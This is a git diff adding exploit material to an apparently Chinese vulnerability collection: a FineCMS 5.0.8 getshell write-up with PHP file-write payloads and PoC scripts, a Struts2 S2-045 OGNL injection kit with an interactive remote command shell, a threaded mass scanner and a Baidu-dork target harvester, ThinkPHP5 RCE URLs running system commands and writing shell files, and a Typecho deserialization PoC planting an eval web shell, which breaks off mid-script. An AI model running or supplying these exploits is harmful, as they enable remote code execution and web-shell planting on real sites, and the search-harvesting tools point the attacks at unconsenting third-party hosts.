diff --git a/FineCMS_v5.0.8两处getshell.md b/FineCMS_v5.0.8两处getshell.md new file mode 100644 index 0000000..1e63238 --- /dev/null +++ b/FineCMS_v5.0.8两处getshell.md @@ -0,0 +1,208 @@ +## 0x01 前言 + +就要被**,美其名曰:比我的web安全研究和代码审计更有前途。当然是选择原谅他啦。 +先审计finecms去去火,找到六处漏洞,先放两处容易被发现的getshell和对应的两个python脚本 + +## 0x02 getshell + +**第一处getshell**:在C:/phpStudy/WWW/finecms/dayrui/controllers/Api.php中的data2函数,大约在第115行,有问题的代码大约在178行 + +``` +public function data2() { + + $data = array(); + + // 安全码认证 + $auth = $this->input->get('auth', true); + if ($auth != md5(SYS_KEY)) { + // 授权认证码不正确 + $data = array('msg' => '授权认证码不正确', 'code' => 0); + } else { + // 解析数据 + $cache = ''; + $param = $this->input->get('param'); + if (isset($param['cache']) && $param['cache']) { + $cache = md5(dr_array2string($param)); + $data = $this->get_cache_data($cache); + } + if (!$data) { + + if ($param == 'login') { + // 登录认证 + $code = $this->member_model->login( + $this->input->get('username'), + $this->input->get('password'), + 0, 1); + if (is_array($code)) { + $data = array( + 'msg' => 'ok', + 'code' => 1, + 'return' => $this->member_model->get_member($code['uid']) + ); + } elseif ($code == -1) { + $data = array('msg' => fc_lang('会员不存在'), 'code' => 0); + } elseif ($code == -2) { + $data = array('msg' => fc_lang('密码不正确'), 'code' => 0); + } elseif ($code == -3) { + $data = array('msg' => fc_lang('Ucenter注册失败'), 'code' => 0); + } elseif ($code == -4) { + $data = array('msg' => fc_lang('Ucenter:会员名称不合法'), 'code' => 0); + } + } elseif ($param == 'update_avatar') { + // 更新头像 + $uid = (int)$_REQUEST['uid']; + $file = $_REQUEST['file']; + // + // 创建图片存储文件夹 + $dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/'; + @dr_dir_delete($dir); + if (!is_dir($dir)) { + dr_mkdirs($dir); + } + $file = str_replace(' ', '+', $file); + if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){ + $new_file = $dir.'0x0.'.$result[2]; + if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) { + $data = array( + 'msg' => '目录权限不足或磁盘已满', + 'code' => 0 + ); + } +``` + +其中,首先 + +``` +$file = $_REQUEST['file']; +``` + +获取$file变量 + +``` +if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){ + $new_file = $dir.'0x0.'.$result[2]; + if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) { + $data = array( + 'msg' => '目录权限不足或磁盘已满', + 'code' => 0 + ); +``` + +然后用preg_match函数进行正则匹配,因为$file变量可控,所以$result也是可控的,从而$new_file也是可控的,可以构造为php文件,然后 + +``` +file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) +``` + +对$result[1]进行base64解码,然后写入$new_file文件中。显然,是可以任意写文件进行getshell的。所以,我们要让程序能够运行到这些代码,不能在之前就退出了。要经过 + +``` + $auth = $this->input->get('auth'); + if ($auth != md5(SYS_KEY)) +``` + +SYS_KEY被系统硬编码为24b16fede9a67c9251d3e7c7161c83ac,在C:phpStudyWWWconfigsystem.php中有定义。直接md5加密一次即可绕过 + +所以最终的payload为 + +``` +http://localhost:88/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+ +``` + +无需登录,直接getshell,路径为http://localhost:88/uploadfile/member/0/0x0.php +![QQ图片20170610192323.png](img/9.png) + +**第二处getshell**:在文件C:/phpStudy/WWW/finecms/dayrui/controllers/member/Account.php中的upload函数 + +```php +if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){ + $new_file = $dir.'0x0.'.$result[2]; + if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) { + exit(dr_json(0, '目录权限不足或磁盘已满')); + +``` + +注册会员,登录 + +``` +访问:http://localhost:88/index.php?s=member&c=account&m=upload +POST:tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+ +``` + +![QQ图片20170610184543.png](img/10.png) +![QQ图片20170610185647.png](img/12.png) + +## 0x03 Python批量poc脚本 + +pocsuite和poc-T是两个成熟的poc框架,不过感觉核心代码是别人的,只写一些poc插件的话,就是为别人造轮子,所以抽了一些代码写了个自己的工具,可能连轻型框架都算不上,只够自己用的。 +第一处getshell的python代码(因为是直接getshell,无需登录,所以很简单): + +```python +import sys +import requests +def poc(target): + payload="/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+" + url=target+payload + shell=target+'/uploadfile/member/0/0x0.php' + try: + result=requests.get(url,timeout=3) + verify=requests.get(shell,timeout=3) + if verify.status_code==200 and 'code' in verify.text: + return True + except Exception,e: + print e +``` + +第二处getshell的Python代码(需要自动化注册、登录、利用): + +```python +#Finecms version:5.0.8 +#Author:404notfound + +import random +import sys +import requests +def poc(url): + username=random.randint(0,999999) + seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" + email = [] + for i in range(8): + email.append(random.choice(seed)) + email = ''.join(email) + #print email+"@"+email+".com" + #print username + + #step 1 register + #print "[+] register user" + register_url=url+"/index.php?s=member&c=register&m=index" + register_payload={"back":"","data[username]":username,"data[password]":"123456","data[password2]":"123456","data[email]":email+"@"+email+".com"} + #step 2 login + #print "[+] user login" + login_url=url+"/index.php?s=member&c=login&m=index" + login_payload={"back":"","data[username]":username,"data[password]":"123456","data[auto]":"1"} + #step 3 attack + #print "[+] loading payload" + vul_url=url+"/index.php?s=member&c=account&m=upload" + vul_payload={"tx":"data:image/php;base64,NDA0bm90Zm91bmQ8P3BocCBwaHBpbmZvKCk7Pz4="} + try: + s = requests.session() + resu=s.post(register_url,data=register_payload) + result=s.post(login_url,data=login_payload) + result2=s.post(vul_url,data=vul_payload).content + if "status" in result2: + return True + else: + return False + except Exception,e: + pass + #print e + #print "[+] ALL DONE" + #step 4 find shell path + +#print poc("http://localhost") +``` + +主代码就不贴了,可以看我的GitHub:https://github.com/404notf0und +效果还不错: +![finecms.png](http://4o4notfound.org/usr/uploads/2017/06/4008852901.png) + diff --git a/README.md b/README.md index ece3026..be4e7bc 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,11 @@ - [dede_burp_admin_path-dedecms后台路径爆破(Windows环境)](dede_burp_admin_path.md) - [MetInfoCMS 5.X版本GETSHELL漏洞合集](MetInfoCMS 5.X版本GETSHELL漏洞合集.md) - [discuz ml RCE 漏洞检测工具](discuz-ml-rce/README.md) +- [thinkphp5框架缺陷导致远程代码执行](thinkphp5框架缺陷导致远程代码执行.md) +- [FineCMS_v5.0.8两处getshell](FineCMS_v5.0.8两处getshell.md) +- [Struts2_045漏洞批量检测|搜索引擎采集扫描](Struts2_045-Poc) +- [thinkphp5命令执行](thinkphp5命令执行.md) +- [typecho反序列化漏洞](typecho反序列化漏洞.md) ## Mobile APP diff --git a/Struts2_045-Poc/.gitignore b/Struts2_045-Poc/.gitignore new file mode 100644 index 0000000..7e99e36 --- /dev/null +++ b/Struts2_045-Poc/.gitignore @@ -0,0 +1 @@ +*.pyc \ No newline at end of file diff --git a/Struts2_045-Poc/README.md b/Struts2_045-Poc/README.md new file mode 100644 index 0000000..144369d --- /dev/null +++ b/Struts2_045-Poc/README.md @@ -0,0 +1,30 @@ +### Usage + +#### 检测漏洞POC +python s2_045.py http://xxx.com/a.action + +```bash +>python s2_045.py http://xxx.com/a.action +[Loopholes exist] http://xxx.com/a.action +``` +#### 漏洞利用POC(cmd版) +python s2_045_cmd.py http://xxx.com/a.action + +```bash +>python s2_045_cmd.py http://xxx.com/a.action +[Loopholes exist] http://xxx.com/a.action +[cmd]>>ls +...... +``` +#### 多线程批量检测脚本 +python S2_045_thread.py(填写url.txt后运行) + +```bash +填写url.txt文件,每行一个url地址(url中含.action/.do的地址),运行完以后会生成一个result.txt文件存放存在漏洞的url +``` + +#### 利用搜索引擎批量检测脚本 +想要采集网站中带.action/.do地址的,请看:[Search_S2_045](https://github.com/tengzhangchao/Struts2_045-Poc/tree/master/Search_S2_045) + + +更多请参考博客:[nMask](http://thief.one/2017/03/07/Struts2-045%E6%BC%8F%E6%B4%9E/) diff --git a/Struts2_045-Poc/Search_S2_045/README.md b/Struts2_045-Poc/Search_S2_045/README.md new file mode 100644 index 0000000..885fe6c --- /dev/null +++ b/Struts2_045-Poc/Search_S2_045/README.md @@ -0,0 +1,14 @@ + +通过搜索引擎获取网站存在的.action、.do链接,并调用s2_045检测模块对这些链接进行批量检测。 + +### Usage +#### 运行流程 +* 填写url.txt +* python search_url.py 检测url.txt文件中域名生成result_all.txt文件 +* python s2_045_judge.py 检测result_all.txt文件中url生成result.txt文件 + +#### 文件说明 +* url.txt为待检测网站域名(不用http,也不用目录端口) +* result_all.txt为检测网站所有.action/.do地址 +* result.txt为最终存在漏洞的url地址文件 + diff --git a/Struts2_045-Poc/Search_S2_045/anbaidulink.py b/Struts2_045-Poc/Search_S2_045/anbaidulink.py new file mode 100644 index 0000000..83d6f5a --- /dev/null +++ b/Struts2_045-Poc/Search_S2_045/anbaidulink.py @@ -0,0 +1,67 @@ +#! -*- coding:utf-8 -*- + +''' +传入:baidu_link 输出:真实网站url +''' +import requests +import re + +res_baidu=r"window\.location\.replace\(\"([^\"]*)\"\)" + + +class anbaidulink: + headers={'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6', + 'Referer':'http://www.baidu.com/link?url='} + def __init__(self): + pass + + def run(self,url,one_proxy=""): + ''' + 入口函数,接受baidu_link以及代理地址,默认为"",代理地址要是http://xx.xx.xx.xx:xx格式 + ''' + if "&eqid=" in url: + url=self.have_eqid(url,one_proxy) + else: + url=self.noeqid(url,one_proxy) + + return url + + def noeqid(self,url,one_proxy): + ''' + 针对baidu_link中没有eqid参数 + ''' + try: + h=requests.head(url,proxies={'http':one_proxy},headers=anbaidulink.headers,timeout=5).headers # + except Exception,e: + print e + else: + url=h["location"] + + return url + + + def have_eqid(self,url,one_proxy): + ''' + 针对baidu_link中存在eqid参数 + ''' + try: + body=requests.get(url,proxies={'http':one_proxy},headers=anbaidulink.headers,timeout=5).content # + except Exception,e: + print e + else: + p=re.compile(res_baidu) + url=p.findall(body) + if len(url)>0: + url=url[0] + + return url + + + + +if __name__=="__main__": + cur=anbaidulink() + url_1=cur.run(url='https://www.baidu.com/link?url=1qIAIIh_2N7LUQpI0AARembLK2en4QpGjaRqKZ3BxYtzoZYevC5jA2jq6XMwgEKF&wd=&eqid=9581fbec0007eae00000000458200ad4',one_proxy="") + #url_2=cur.run(url='http://www.baidu.com/link?url=1qIAIIh_2N7LUQpI0AARembLK2en4QpGjaRqKZ3BxYtzoZYevC5jA2jq6XMwgEKF',one_proxy="") + print url_1 + #print url_2 \ No newline at end of file diff --git a/Struts2_045-Poc/Search_S2_045/getbaidulink.py b/Struts2_045-Poc/Search_S2_045/getbaidulink.py new file mode 100644 index 0000000..9cbbffd --- /dev/null +++ b/Struts2_045-Poc/Search_S2_045/getbaidulink.py @@ -0,0 +1,65 @@ +#! -*- coding:utf-8 -*- + +''' +通过百度搜索,搜索关键词,获取baidu_link +''' +__Date__="20170224" +__author__="nMask" +__Blog__="http://thief.one" + +import requests +import urllib +import re + +url="http://www.baidu.com/s?wd=" +res=r"data-tools=[^,]*,\"url\":\"([^\"]*)\"\}\'" ##正则 + +class getbaidulink: + + url_pc=["http://tousu.baidu.com/webmaster/add#4"] ##要排除的url + headers={'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6', + 'Referer':'http://www.baidu.com/link?url'} + timeout=3 + + def __init__(slef): + pass + + + def run(self,keyword,page="0",one_proxy=""): + ''' + 接收keyword,page,one_proxy参数 + * keyword 搜索的关键词 + * page 搜索结果第几页 + * one_proxy 代理地址 + ''' + + list_url=[] + urls=url+urllib.quote(keyword)+"&pn="+str(int(page)*10) + try: + r=requests.get(urls,proxies={'http':one_proxy},headers=getbaidulink.headers,timeout=getbaidulink.timeout) + body=r.content + # print body + # print type(body) + except Exception,e: + print e + list_url="error" + else: + if 'charset="gb2312"' in body: + list_url="error" + print body + else: + p=re.compile(res) + list_url=p.findall(body) + + for i in getbaidulink.url_pc: + if i in list_url: + list_url.remove(i) + + return list_url #返回列表,如果访问出错,则返回的列表为空 + + + +if __name__=="__main__": + cur=getbaidulink() + list_url=cur.run(keyword='inurl:".action"',page=0,one_proxy="") + print list_url diff --git a/Struts2_045-Poc/Search_S2_045/result.txt b/Struts2_045-Poc/Search_S2_045/result.txt new file mode 100644 index 0000000..e69de29 diff --git a/Struts2_045-Poc/Search_S2_045/result_all.txt b/Struts2_045-Poc/Search_S2_045/result_all.txt new file mode 100644 index 0000000..e69de29 diff --git a/Struts2_045-Poc/Search_S2_045/s2_045_judge.py b/Struts2_045-Poc/Search_S2_045/s2_045_judge.py new file mode 100644 index 0000000..a9d9657 --- /dev/null +++ b/Struts2_045-Poc/Search_S2_045/s2_045_judge.py @@ -0,0 +1,49 @@ +#! -*- coding:utf-8 -*- + +__author__="nMask" +__Blog__="http://thief.one" +__Date__="20170307" + + +import urllib2 +from poster.encode import multipart_encode +from poster.streaminghttp import register_openers +import threading + + + +def poc(url): + register_openers() + datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) + header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" + header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" + try: + request = urllib2.Request(url,datagen,headers=header) + response = urllib2.urlopen(request,timeout=5) + body=response.read() + except: + body="" + + if "nMask" in body: + print "[Loopholes exist]",url + f.write(url+"\n") + else: + print "Loopholes not exist",url + +if __name__=="__main__": + f=open("result.txt","a") + url_list=[i.replace("\n","") for i in open("result_all.txt","r").readlines()] + for url in url_list: + threading.Thread(target=poc,args=(url,)).start() + while 1: + if(len(threading.enumerate())<50): + break + + + + + + + + + diff --git a/Struts2_045-Poc/Search_S2_045/search_url.py b/Struts2_045-Poc/Search_S2_045/search_url.py new file mode 100644 index 0000000..b71a970 --- /dev/null +++ b/Struts2_045-Poc/Search_S2_045/search_url.py @@ -0,0 +1,56 @@ +#! -*- coding:utf-8 -*- + +__author__="nMask" +__Blog__="http://thief.one" +__Date__="20170307" + + +import urllib2 +from poster.encode import multipart_encode +from poster.streaminghttp import register_openers +from getbaidulink import getbaidulink +from anbaidulink import anbaidulink + + + +def poc(url): + register_openers() + datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) + header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" + header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" + try: + request = urllib2.Request(url,datagen,headers=header) + response = urllib2.urlopen(request) + body=response.read() + except Exception,e: + print e + body="" + + return body + + +if __name__=="__main__": + keyword_list=["site:"+i.strip("\n")+" inurl:'.action'" for i in open("url.txt","r").readlines()]+["site:"+i.strip("\n")+" inurl:'.do'" for i in open("url.txt","r").readlines()] + + cur=getbaidulink() + cur_2=anbaidulink() + # f=open("result.txt","a") + f2=open("result_all.txt","a") + for keyword in keyword_list: + for i in range(1): + list_url=cur.run(keyword=keyword,page=0,one_proxy="") + for url in list_url: + url=cur_2.run(url) + print url + f2.write(url+"\n") + # body=poc(url) + # if "nMask" in body: + # print "[Loopholes exist]",url + # f.write(url+"\n") + # f.close() + f2.close() + + # body=poc("http://job.10086.cn/company/anouncement/showAnouncement.action") + # if "nMask" in body: + # print "s" + diff --git a/Struts2_045-Poc/Search_S2_045/tmp.txt b/Struts2_045-Poc/Search_S2_045/tmp.txt new file mode 100644 index 0000000..e69de29 diff --git a/Struts2_045-Poc/Search_S2_045/url.txt b/Struts2_045-Poc/Search_S2_045/url.txt new file mode 100644 index 0000000..d0b272e --- /dev/null +++ b/Struts2_045-Poc/Search_S2_045/url.txt @@ -0,0 +1 @@ +www.baidu.com \ No newline at end of file diff --git a/Struts2_045-Poc/s2-045.py b/Struts2_045-Poc/s2-045.py new file mode 100644 index 0000000..49e6873 --- /dev/null +++ b/Struts2_045-Poc/s2-045.py @@ -0,0 +1,22 @@ +#! -*- encoding:utf-8 -*- +import urllib2 +import sys +from poster.encode import multipart_encode +from poster.streaminghttp import register_openers + +def poc(url): + register_openers() + datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) + header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" + header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" + request = urllib2.Request(url,datagen,headers=header) + response = urllib2.urlopen(request) + body=response.read() + + return body + +# url="http://job.10086.cn/company/anouncement/showAnouncement.action" +url=sys.argv[1] +body=poc(url) +if "nMask" in body: + print "[Loopholes exist]",url \ No newline at end of file diff --git a/Struts2_045-Poc/s2_045_cmd.py b/Struts2_045-Poc/s2_045_cmd.py new file mode 100644 index 0000000..a6e8c15 --- /dev/null +++ b/Struts2_045-Poc/s2_045_cmd.py @@ -0,0 +1,32 @@ +#! -*- encoding:utf-8 -*- + +__author__="nMask" +__Blog__="http://thief.one" +__Date__="20170307" + + +import urllib2 +import sys +from poster.encode import multipart_encode +from poster.streaminghttp import register_openers + +def poc(url,content="echo nMask"): + register_openers() + datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) + header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" + header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+content+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" + request = urllib2.Request(url,datagen,headers=header) + response = urllib2.urlopen(request) + body=response.read() + + return body + +# url="http://job.10086.cn/company/anouncement/showAnouncement.action" +url=sys.argv[1] +body=poc(url) +if "nMask" in body: + print "[Loopholes exist]",url + + while 1: + con=raw_input("[cmd]>>") + print poc(url,content=con) \ No newline at end of file diff --git a/Struts2_045-Poc/s2_045_thread.py b/Struts2_045-Poc/s2_045_thread.py new file mode 100644 index 0000000..e2a6258 --- /dev/null +++ b/Struts2_045-Poc/s2_045_thread.py @@ -0,0 +1,49 @@ +#! -*- coding:utf-8 -*- + +__author__="nMask" +__Blog__="http://thief.one" +__Date__="20170307" + + +import urllib2 +from poster.encode import multipart_encode +from poster.streaminghttp import register_openers +import threading + + + +def poc(url): + register_openers() + datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) + header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" + header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" + try: + request = urllib2.Request(url,datagen,headers=header) + response = urllib2.urlopen(request,timeout=5) + body=response.read() + except: + body="" + + if "nMask" in body: + print "[Loopholes exist]",url + f.write(url+"\n") + else: + print "Loopholes not exist",url + +if __name__=="__main__": + f=open("result.txt","a") + url_list=[i.replace("\n","") for i in open("url.txt","r").readlines()] + for url in url_list: + threading.Thread(target=poc,args=(url,)).start() + while 1: + if(len(threading.enumerate())<50): + break + + + + + + + + + diff --git a/Struts2_045-Poc/tmp.txt b/Struts2_045-Poc/tmp.txt new file mode 100644 index 0000000..e69de29 diff --git a/img/10.png b/img/10.png new file mode 100644 index 0000000..26e2cd2 Binary files /dev/null and b/img/10.png differ diff --git a/img/11.png b/img/11.png new file mode 100644 index 0000000..a56f3a6 Binary files /dev/null and b/img/11.png differ diff --git a/img/12.png b/img/12.png new file mode 100644 index 0000000..7b5c53a Binary files /dev/null and b/img/12.png differ diff --git a/img/9.png b/img/9.png new file mode 100644 index 0000000..2f5cbf8 Binary files /dev/null and b/img/9.png differ diff --git a/thinkphp5命令执行.md b/thinkphp5命令执行.md new file mode 100644 index 0000000..51ab497 --- /dev/null +++ b/thinkphp5命令执行.md @@ -0,0 +1,58 @@ +### thinkphp5命令执行 + +### POC检测代码 + +```python +# -*- coding:UTF-8 -*- +# evn :python2 + +import requests +import threading +import time +import sys + +class check(threading.Thread): #判断是否存在这个漏洞的执行函数 + def __init__(self, url, sem): + super(check, self).__init__() #继承threading类的构造方法,python3的写法super().__init__() + self.url = url + self.sem = sem + + def run(self): + parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1" + + try: + responce = requests.get(url = self.url, params = parameters,timeout=3) + body = responce.text + if body.find('PHP Extension') != -1: + with open("success.txt", "a+") as f1: + f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n") + print("[+] " + self.url) + else: + print("[-] " + self.url) + except Exception,err: + print("connect failed") + pass + self.sem.release() #执行完函数,释放线程,线程数加1 + +class host(threading.Thread): #遍历文件操作 + def __init__(self, sem): + super(host, self).__init__() #继承threading类的构造方法,python3的写法super().__init__() + self.sem = sem + + def run(self): + with open("url.txt", "r") as f: + for host in f.readlines(): + self.sem.acquire() #遍历一个就获得一个线程,直到达到最大 + host = host.strip()+"/public/index.php" + host_thread = check(host, self.sem) + host_thread.start() #执行check()的执行函数 + +if __name__ == '__main__': + sem = threading.Semaphore(10) #最大线程数为10个 + thread = host(sem) #传递sem值 + thread.start() +``` + +------ +使用方法:在当前页面下创建./url.txt(为需要检测的url),success.txt为含有漏洞的url。 + diff --git a/thinkphp5框架缺陷导致远程代码执行.md b/thinkphp5框架缺陷导致远程代码执行.md new file mode 100644 index 0000000..c736b27 --- /dev/null +++ b/thinkphp5框架缺陷导致远程代码执行.md @@ -0,0 +1,22 @@ +### 漏洞简介 + +|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号| +--------|--------|---------|--------|-------|----|------| +|thinkphp5框架缺陷导致远程代码执行|2018-10-10|unknown|[http://www.thinkphp.cn/](http://www.thinkphp.cn/) | [下载连接](http://www.thinkphp.cn/down.html) |5.x < 5.1.31, <= 5.0.23| [详情](https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ)| + +#### 漏洞概述 + +> 由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞 +> +### poc + +```html +http://192.168.99.98:7878/?s=index/\think\Request/input&filter=phpinfo&data=1 +http://192.168.99.98:7878/?s=index/\think\Request/input&filter=system&data=id +http://192.168.99.98:7878/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E +http://192.168.99.98:7878/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E +http://192.168.99.98:7878/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 +http://192.168.99.98:7878/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id +http://192.168.99.98:7878/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 +http://192.168.99.98:7878/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id +``` \ No newline at end of file diff --git a/typecho反序列化漏洞.md b/typecho反序列化漏洞.md new file mode 100644 index 0000000..2f34621 --- /dev/null +++ b/typecho反序列化漏洞.md @@ -0,0 +1,63 @@ +### typecho反序列化漏洞 + +### POC检测代码 + +```python +#/usr/bin/env python +# -*- coding: UTF-8 -*- +import getopt,sys +import requests +import sys +import string +import time +import threading + +class check(threading.Thread): + def __init__(self, url, sem): + super(check, self).__init__() #继承threading类的构造方法,python3的写法super().__init__() + self.url = url + self.sem = sem + + def run(self): + headers = { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0', + 'Referer': self.url, + 'cookie': "__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==" + } + try: + reqs=s.get(self.url,timeout=3,headers=headers,allow_redirects=False) + #print(reqs.status_code), + except IOError: #如果网站打不开将输出fail + print("time out 1") + urls=self.url+"/p0.php" + urlsss=self.url+"/install.php?finish=1" + payloads={'p0':'echo "sectest";'} + try: + 